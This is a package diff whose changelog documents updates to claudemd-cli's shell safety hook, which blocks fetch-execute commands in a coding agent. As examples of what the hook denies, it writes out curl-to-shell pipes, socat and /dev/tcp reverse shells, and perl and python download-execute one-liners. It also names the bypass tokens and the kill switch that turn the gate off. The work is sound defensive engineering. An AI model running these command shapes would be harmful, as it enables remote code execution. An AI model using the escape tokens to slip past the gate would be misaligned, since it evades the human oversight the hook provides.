claudemd-cli 0.63.0 → 0.64.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/CHANGELOG.md +52 -0
  2. package/package.json +1 -1
package/CHANGELOG.md CHANGED
@@ -8,6 +8,45 @@ All notable changes to the `claudemd` plugin. This changelog tracks plugin artif
8
8
  - **Canonical spec version source**: `spec/CLAUDE.md` top-line title (`# AI-CODING-SPEC vX.Y.Z — Core`) + `spec/CLAUDE-changelog.md` top `##` entry.
9
9
  - **Plugin semver vs spec semver** are independent: plugin patch (0.2.0 → 0.2.1) may ship when spec is unchanged (this release); plugin minor (0.1.9 → 0.2.0) ships when spec minor updates (v0.2.0 shipped spec v6.10.0).
10
10
 
11
+ ## [0.64.1] - 2026-07-28
12
+
13
+ Hotfix for a red CI on the v0.64.0 tag. No hook, script or spec behavior changes — the failure was the test harness killing a suite, not a test failing.
14
+
15
+ - **fix: the shell hook suites get the same 300s wall-clock cap the integration suites have.** `pre-bash-safety.test.sh` drives one hook process per corpus row, and v0.64.0 took that corpus 500 → 598 rows: 65s on Linux, and macOS runners are roughly 4× slower at process creation, so the leg blew the 120s guard. The tag went red with **every assertion passing** — `# fail 0`, every suite printing `N/N`, shellcheck clean, both static gates clean — and one line explaining it: `TIMEOUT: pre-bash-safety.test.sh exceeded 120s (killed)`.
16
+ - Same reasoning the node cap in the same file already documents: a real hang is *infinite*, so 300s catches it exactly as well as 120s, and the only cost is minutes spent reporting a hang someone is already debugging.
17
+ - **The root cause is not fixed**: ~600 process spawns per run, and every corpus round moves closer to the new cap. Both candidate fixes (a batch stdin entry point, or making the hook sourceable) mean changing the hook under test for the test's convenience, so it is filed with its reopen condition rather than rushed — `tasks/audit-2026-07-27-deferred.md §F`.
18
+ - Worth stating plainly: npm published 0.64.0 before ci went red, the same channel asymmetry recorded as H3. The published artifact is not broken — no test failed — so this is a forward fix, not a deprecate.
19
+
20
+ ## [0.64.0] - 2026-07-28
21
+
22
+ The fetch-execute gate stops being about `curl`. It was two word lists spelled inline — SOURCE `(curl|wget)`, SINK `(sh|bash|zsh|dash|ksh|ash)` — and a full measurement of the class found five families it could not see. They were not five defects; they were two tables that were too narrow, plus three delivery shapes that cannot be written as SOURCE-pipe-SINK at all.
23
+
24
+ **Upgrade note.** This release denies command shapes that previously ran. All of them are "bytes you have not read become code": a fetch or transport piped into a shell **or interpreter**, a shell whose command string is the *output* of a fetch, a socket wired straight to a shell, and interpreter one-liners that open a network connection and execute. Escape is unchanged and singular: put `[allow-curl-sh]` in the command (the deny message prints it and the use is logged as a bypass); whole-hook kill switch `DISABLE_PRE_BASH_SAFETY_HOOK=1`; pin the prior behavior with `npm i claudemd-cli@0.63.0`. The inspect-first path §8 recommends — `curl -o s.sh URL && less s.sh && sh s.sh` — is explicitly still allowed, and is pinned by a corpus row.
25
+
26
+ - **fix (F35): assignment-prefix sinks were allowed.** `curl … | FOO=x bash`, `| env FOO=x bash`, `| sudo FOO=x bash`, `| A=1 B=2 sh`. F34 had closed the option-with-arg form and declared the fetch/sink grammars equal; that sentence was inherited from the pre-F34 comment and never measured, and it was false — the fetch side had stripped assignment prefixes all along, so the two ends of one pipe disagreed about the same tokens. The new corpus rows are **paired across the pipe**, so the equality claim is now pinned by the corpus rather than by a comment.
27
+ - **feat (F36): SOURCE and SINK are named tables, and both got wider.** SOURCE adds HTTP fetchers beyond curl/wget (`aria2c` `axel` `httpie` `http` `fetch` `lwp-request` `lwp-download`), raw sockets (`nc` `ncat` `netcat` `socat` `telnet` `openssl`), non-HTTP transports (`scp` `sftp` `rsync` `ftp` `tftp`) and decoders (`base64` `xxd` `gpg`). SINK adds language runtimes (`python` `python3` `perl` `ruby` `node` `php` `lua`, plus `awk -f -`). `cat` is deliberately absent — `cat script.py | python3` is ordinary local work.
28
+ - Interpreters get a **stricter boundary** than shells, and that distinction is the point: `curl … | python3` executes fetched code, while `curl … | python3 -m json.tool` and `curl … | perl -pe 's/x/y/'` are pretty-print and filter idioms where stdin is data. A shared boundary would have denied both.
29
+ - **feat (F37): `sh -c "$(curl …)"`.** The form Homebrew, rustup and nvm publish as their install command — the most copied fetch-execute idiom there is — was allowed while the visually noisier `curl … | sh` denied. Two downstream transforms erase the evidence before the pipe gate runs: `unwrap_indirect` rewrites it to `; $(curl x) ;`, dropping the sink, and `sanitize_cmd` then blanks the quoted payload. Matched on `NORMALIZED_CMD`, anchored on the runner (`-c` / `eval` / `source`), so `echo "$(curl …)"` and `sh -c 'echo $(curl x)'` stay allowed.
30
+ - **feat (F38): transports whose execution is an address, not a pipe.** `socat TCP:h:p EXEC:/bin/bash` needs no `|`, and `bash -i >& /dev/tcp/h/p 0>&1` needs no external binary. socat requires **both** a network address and an `EXEC:`/`SYSTEM:` address, so ordinary port-forwarding cannot match.
31
+ - **feat (F39): interpreter one-liners that open a socket AND execute** — reverse shells (`perl -e 'use Socket;…exec("/bin/sh -i")'`, `python3 -c '…socket…os.dup2…pty.spawn'`) and download-execute (`perl -MLWP::Simple -e 'eval get(…)'`, `python3 -c '…exec(urlopen(u).read())'`). Rare, and one execution is the whole compromise. Three conditions must hold together — an interpreter in command position with a one-liner flag, a **language-level** network primitive, and an execution primitive — which is what keeps it precise instead of a keyword sweep. Verified still allowed: `python3 -c "import socket; print(socket.gethostname())"` (net, no exec), `python3 -c "import subprocess; subprocess.run(['ls'])"` (exec, no net), and `urlretrieve` to a file (a download with no execution).
32
+ - The segment loop's pre-check matches `CURLSH_SRC` directly via `[[ =~ ]]`. The first draft re-spelled the word list as a `case`, which is a silent-bypass generator — a word added to the regex but missing from the copy makes the gate skip the segment it was just taught to catch, with every test still green. shellcheck independently flagged that copy as unwritable-by-hand (`*http*` shadows `*httpie*`, `*nc*` shadows `*ncat*`/`*socat*`, `*ftp*` shadows `*sftp*`/`*tftp*`). A test asserts the copy has not come back.
33
+ - All four patterns share one telemetry bucket (`§8-curl-sh`) and one escape token. They are the same §8 clause reached by different syntax; the REASON line names which shape fired, so the deny stays diagnosable without making users learn four switches.
34
+ - **feat (F40): package runners whose argument is the remote thing.** `npx some-unknown-pkg` and `bunx some-unknown-pkg` denied while `deno run https://…`, `pip install git+https://…`, `pip install https://…whl`, `cargo install --git …`, `go run …@latest`, `nix run github:…` and `bun x some-unknown-pkg` all allowed — one action, blocked in the JS ecosystem and waved through everywhere else. §8's NPX rule names the *class* (fetch-execute unknown origin), so this is a consistency fix, not new coverage.
35
+ - `bun x` is the spaced spelling of `bunx`; it joins the Pattern 2 family and inherits lockfile → local → pinned rather than getting a parallel check. The rest need no resolution at all — the argument's shape is the verdict — so they are a separate, smaller pattern that shares the `§8-npx` bucket and the `[allow-npx-unpinned]` token.
36
+ - Each rule is written so its false-positive twin fails **structurally**, not by exclusion list: `deno run ./main.ts` has no remote specifier (and `--allow-net=https://api` is consumed as a flag, because that URL is a permission, not the program); `cargo install ripgrep` / `--path ./cli` have no `--git`; `go install …@v0.1.12` is pinned, only `@latest|master|main|HEAD` denies; `nix run .#pkg` is not a remote flakeref. The pip rule requires a VCS scheme or an artifact suffix (`.tar.gz`/`.tgz`/`.zip`/`.whl`) rather than any URL — which is what keeps `-i` / `--index-url` / `--extra-index-url` / `--find-links` registry URLs out with no exception list to maintain.
37
+ - **Not included, with the reason recorded**: `uvx TOOL` / `pipx run TOOL`. Their argument is a bare package name, so they need Pattern 2's registry resolution rather than a shape test, and the FP surface is larger (`uvx ruff`, `pipx run black` are everyday). `tasks/audit-2026-07-27-deferred.md §E`.
38
+ ### Bypass telemetry says what it suppressed
39
+
40
+ - **fix: `pre-bash-safety` escape-hatch rows carry their SUBJECT.** All five emission sites logged a bare `{"token":"…"}` — that the hatch was used, never what it suppressed — so after 3 months and 7927 rows the question "should this gate keep its current shape?" was unanswerable. The two sibling hooks already record theirs (`banned-vocab` logs `matched`, `memory-read-check` logs `bypass_reason`); §8 was the one that never did (`feedback_bypass_telemetry_needs_the_term`). Now: `§8-rm-rf-var` → `vars` (variable NAMES, max 5), `§8-npx` → `runner` or `rule`, `§8-curl-sh` → `shape` plus `source`→`sink` words.
41
+ - **No URLs or argument values are recorded.** They can carry credentials — §8 forbids sensitive data in logs — and they are not what the question needs. `byBypass()` gains a `bySubject` breakdown so `/claudemd-audit` surfaces it; the existing `byToken`/`byHook` shape is unchanged for current callers.
42
+ - **fix (F41): an escape marker no longer changes the parse.** Bypass flags are read from the raw command, so a marker's effect on the sanitized text was accidental — and with this release's strict interpreter boundaries it stopped being harmless: `curl … | python3` denied while `curl … | python3 [allow-curl-sh]` did not even *trigger*, because a trailing `[` is not the end-of-command the interpreter sink requires. Same visible outcome as a bypass, **no bypass row** — an allow that left no trace, in the release whose telemetry work exists to remove exactly that. Markers are stripped after sanitize; stripping cannot create a false deny, since it only removes tokens whose presence already set the corresponding flag. Corpus rows pin both directions, including that a *wrong* marker still denies.
43
+ - **Evidence**: 51 RED probes against v0.63.0+F35 across the four patterns, all green after. F40 adds 22 RED probes and 23 FP twins, all green after, with **0 verdict changes across the 521 rows that existed before it**. Corpus 439 → 521 rows; differential over all 439 pre-existing rows: **0 verdict changes**. Suite 516 → 617. FP guards cover 20 real-world shapes measured allowed before the change and re-measured allowed after (`nc -zv`, `nc -l > file`, `openssl s_client | openssl x509`, `socat TCP-LISTEN,fork`, `base64 -d > file`, `cat script.py | python3`, `rsync -av ./a/ ./b/`, `scp ./f host:/tmp/`, download-then-inspect, and the interpreter filter idioms).
44
+
45
+ - **fix (F35): assignment-prefix sinks were allowed.** `curl … | FOO=x bash`, `| env FOO=x bash`, `| sudo FOO=x bash`, `| A=1 B=2 sh`, `| sudo -u root FOO=x bash`, `| FOO=x /bin/sh`, `| { FOO=x bash; }` — 8 of 9 deny probes RED against v0.63.0. Meanwhile the byte-identical prefix on the FETCH side (`FOO=x curl … | bash`) has denied since the word loop learned to strip assignments, so the two sides of one pipe disagreed about the same tokens.
46
+ - A bare assignment prefix is shell assignment-prefix syntax, not a wrapper argument, so `CURLSH_ASSIGNW` joins the repeated unit as its own alternative rather than extending `CURLSH_WRAPOPT` — covering assignment alone, wrapper-then-assignment, and assignment-then-wrapper in any order.
47
+ - **Evidence**: 8/9 RED pre-fix (the 9th, `FOO=x bash <(curl …)`, already denied — command position, where the fetch-side strip reaches it). Corpus 421 → 439 rows; differential over all 421 pre-existing rows: **0 verdict changes**. Suite 516 → 534. FP guards pin that a shell name in an assignment VALUE is not command position: `| SHELL=bash tee out` stays allowed.
48
+ - The new corpus rows are **paired across the pipe** — each sink-side shape now has its fetch-side twin asserted in the same block. The equality claim is pinned by the corpus instead of by a comment, which is what let the F34 residual sentence ship wrong.
49
+
11
50
  ## [0.63.0] - 2026-07-28
12
51
 
13
52
  Three items the 2026-07-27 audit recorded as deferred, closed on their merits: one real §8 ALLOW, and two gates whose scope did not reach what they exist to watch. No spec text change (stays v6.24.1).
@@ -39,6 +78,19 @@ Three items the 2026-07-27 audit recorded as deferred, closed on their merits: o
39
78
  - **The drift banner's suggested value was not pasteable.** It emitted `SPEC_DRIFT_IGNORE=CLAUDE.md, OPERATOR.md` unquoted; pasted into a shell that assigns the first name and then runs `OPERATOR.md`. The banner now quotes it, and test 28e was rewritten to lift the assignment out of the banner text and eval it — the previous version passed a hand-quoted value, which tested the parser rather than the hint.
40
79
  - Floor comment corrected: the scope is 49 files, not "60+".
41
80
 
81
+ ### Found by the independent review (7 findings, all confirmed against source, all fixed)
82
+
83
+ Three of them were defects in this release's own new code, and two were false claims in its own comments — the shape this release exists to stop.
84
+
85
+ - **Quoting the remote argument defeated F40 entirely.** `pip install "git+https://…"`, `go run "…@latest"`, `deno run "https://…"`, `nix run "github:…"` all allowed while their unquoted twins denied — and quoting is the *documented* pip spelling once a URL carries `#egg=` or `[extras]`, so this was the normal way to write it, not evasion. `sanitize_cmd` blanks quoted bodies, which is right for prose and wrong when the quoted thing *is* the argument the rule reads. Quote pairs wrapping a single bare token are now unwrapped before sanitize; pairs containing whitespace, a separator or another quote are not, so no segment boundary can be manufactured out of a commit message.
86
+ - **The reverse-shell transports matched the raw text, so naming them in prose denied.** `git commit -m "block /dev/tcp/1.2.3.4/4444 shells"` and `rg "/dev/tcp/…" tests/` were both blocked — the maintainer could not commit this release with a message describing it. Pattern 3's own header states it uses the sanitized view precisely so prose does not fire; 3c had silently dropped that invariant. They now use a dedicated view that empties quoted bodies but keeps redirects (plain `sanitize_cmd` strips redirects, which swallowed the canonical `bash -i >& /dev/tcp/h/p 0>&1`). Loopback is exempt: `cat < /dev/tcp/localhost/5432` is the ordinary wait-for-port idiom.
87
+ - **The interpreter net+exec conditions were tested independently over the whole command line**, so two commands this corpus itself marks `pass`, joined by `&&`, denied together — and neither primitive had to come from an interpreter at all (a `grep` for the word `urllib` supplied the network token, an `ls /bin/sh` the execution one). The comment above the rule claimed this could not happen. Each candidate is now one extracted interpreter invocation — its flags through the end of its quoted payload, escape-aware — and both primitives must appear inside that one span.
88
+ - **The bypass record logged the wrong sink.** `curl … | bash > out.sh` recorded `sink: "sh"` — from the *filename*. An unanchored search with `tail -1` took the last match anywhere in the segment, and `.sh` is the single most likely token to appear in exactly these commands, so the field this release adds would have been wrong in its commonest case. The sink is now read from the text after the last pipe.
89
+ - **One overridden call could emit two `§8-npx` bypass rows** (Pattern 2 and Pattern 2b both record, and a compound command trips both), inflating the numerator `doctor.js` compares against its >50% bypass:deny demotion threshold — i.e. it would push a healthy gate toward demotion. Now recorded once.
90
+ - **`bySubject` was emitted but never rendered.** The CHANGELOG claimed `/claudemd-audit` surfaces it; the command's own field table and formatting instruction still described only per-token counts. Both updated, including what to do when a token's subjects are all `(no subject)` (pre-v0.64.0 rows — say so rather than infer).
91
+ - Follow-on from the fixes: `REVSH_ONELINER_CMD` became a second spelling of a condition the candidate extraction now expresses, and was deleted rather than silenced; a comment example was reworded after `safety-coverage-audit` correctly read its quoted snippet as a claimed-but-unimplemented clause.
92
+ - **Evidence for the review round**: 23 new corpus rows (12 deny, 11 FP twins) covering every finding, **0 verdict changes across the 575 rows that existed before the review**, suite 671 → 694.
93
+
42
94
  **Not fixed, deliberately** (`tasks/audit-2026-07-27-deferred.md`): the CRLF heredoc-terminator item was reopened and closed as **wrong direction** — tolerating `\r` on the terminator line would make the hook blank MORE text than bash treats as body (bash does not terminate `<<EOF` on `EOF\r` either), and the D2 invariant is that a sanitizer change must only ever reduce what it blanks. Current behavior is the safe one.
43
95
 
44
96
  ## [0.62.2] - 2026-07-27
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "claudemd-cli",
3
- "version": "0.63.0",
3
+ "version": "0.64.1",
4
4
  "description": "Standalone CLI for §10-V banned-vocab + transcript scanning. Companion to the claudemd Claude Code plugin (github.com/sdsrss/claudemd) for use in git pre-commit hooks, GitHub Actions, and other agents.",
5
5
  "type": "module",
6
6
  "bin": {